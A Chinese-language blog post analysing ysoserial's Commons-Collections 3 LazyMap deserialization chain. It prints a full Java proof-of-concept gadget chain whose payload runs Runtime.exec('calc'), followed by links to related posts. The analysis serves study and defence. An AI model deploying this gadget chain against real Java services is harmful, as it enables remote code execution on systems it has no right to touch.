上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链。

其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。

和另一条链的区别:

主要区别在于调用ChainedTransformer的transform方法是使用LazyMap的get方法触发。反序列化入口还是AnnotationInvocationHandler的readObject方法,但是和上一篇TransformedMap调用顺序有差异。

下图为LazyMap中的get方法

构造调用链

前面都一样,利用javassist创建了一个攻击类放入TemplatesImpl,使用InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。

public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();//转换为byte数组 TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

利用LazyMap的decorate方法,把chain赋值给factory

Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);

后面就和CC1的LazyMap调用链一样了。AnnotationInvocationHandler类中invoke方法调用了get

所以利用反射构造方法传入this.memberValues=LazyMap

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);

再使用动态代理触发AnnotationInvocationHandler的invoke方法

复习一个知识点:proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法

Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);

最终POC

public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool = ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes = payload.toBytecode();//转换为byte数组 TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxxx");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate); Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1); InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(anno2);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject(); }
}

CC3就此分析完了,是不是觉得有点像CC1和CC2的结合版本,其实整个CC链来说,搞定了CC1和CC2,其他的都是这几个类的互相调用了,所以着重分析CC1和CC2哦。

ysoserial CommonsColletions3分析(2)的更多相关文章

  1. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  2. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  3. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  4. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  5. ysoserial CommonsCollections2 分析

    在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...

  6. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. WPS函数

    vlookup函数:=VLOOKUP(lookup_value,table_array,col_index_num,range_lookup) 官方解释:其逻辑为在某一区间内搜索区间外某一单元格的值, ...

  2. EL表达式和JSTL标签

    什么是 EL 表达式,EL 表达式的作用? EL 表达式的全称是:Expression Language.是表达式语言. EL 表达式的什么作用:EL 表达式主要是代替 jsp 页面中的表达式脚本在 ...

  3. rancher恢复kubecfg配置文件

    docker run安装的单容器Rancher Server # 进入容器 docker exec -ti <容器ID> bash # 集群ID,可通过浏览器地址栏查询 cluster_i ...

  4. Spring学习01(IOC)

    1.Spring概述 简介 2002年,Rod Jahnson首次推出了Spring框架雏形interface21框架. 2004年3月24日,Spring框架以interface21框架为基础,经过 ...

  5. DNS的正向解析与反向解析

    DNS域名解析服务(Domain Name System)是用于解析域名与IP地址对应关系的服务,功能上可以实现正向解析与反向解析: 正向解析:根据主机名(域名)查找对应的IP地址. 反向解析:根据I ...

  6. 题解 P3158 [CQOI2011]放棋子

    题解 本题是一个 \(DP\) 加 容斥,容斥的式子很好推,重点是如何想到和如何推出 \(DP\) 部分的式子. 因为不同种颜色的棋子不能放在同一行或同一列,所以不同种的棋子是相对独立的. 据此,我们 ...

  7. FPGA学习过程(一)

    前言 终于有时间折腾这块fpga开发板了,不知不觉又熬夜了. 正文 实现一个呼吸灯的项目 打开quartus ii 建立工程 步骤就不讲了 新建一个pwm.v文件内容 module PWM ( inp ...

  8. HBuilder mui 手机app开发 Android手机app开发 ios手机app开发 打开新页面 预加载页面 关闭页面

    创建子页面 在mobile app开发过程中,经常遇到卡头卡尾的页面,此时若使用局部滚动,在android手机上会出现滚动不流畅的问题: mui的解决思路是:将需要滚动的区域通过单独的webview实 ...

  9. vue引入zTree入门

    参考1:https://blog.csdn.net/tg928600774/article/details/80911589 参考2:https://blog.csdn.net/ylhsuper/ar ...

  10. win10下安装mysql5.7-建议安装-自定义位置

    所需文件: 文件名字:mysql-installer-community-5.7.13.0.msi 开始安装: 01:勾选: 02:选择下一步 03:选择Custom安装 04:选择下一步 05:选择 ...